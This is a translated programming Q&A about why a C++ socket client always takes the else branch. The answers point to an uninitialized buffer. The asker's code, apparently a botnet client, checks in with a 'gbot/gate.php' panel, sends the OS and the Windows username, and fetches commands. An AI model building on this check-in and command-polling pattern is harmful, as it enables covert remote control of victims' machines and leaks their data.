C++发送和接收套接字
问题描述:
用下面的代码,程序总是进入if的else部分,并且从不到第一个,为什么?C++发送和接收套接字
char buffer[10000];
if(buffer[0] != '\0')
{
send(Socket, "GET /gbot/gate.php?page=get_cmd", strlen("GET /gbot/gate.php?page=get_cmd"), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
buffer[0] = '\0';
}
else
{
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
答
您从未初始化char buffer[10000];
,因此缓冲区的内容是非确定性的。
答
在IF语句之前初始化数组,如:
char buffer[10000];
for (int i = 0; i < 10000; i++)
buffer[i] = '1'; //you can initialize with any character except '\0' because you're testing for != in IF.
+1
'memset()'存在。 – Havenard 2013-04-09 23:58:00
因为缓冲区[0]有'\ 0',我猜。你说什么? – nommyravian 2013-04-09 23:51:31
但在其他部分,当我通过套接字recv缓冲区,它改变,不是吗? – OrrGorenn 2013-04-09 23:53:48
当然,它会改变,但是这里没有回到'if'的循环。 – EJP 2013-04-10 00:48:34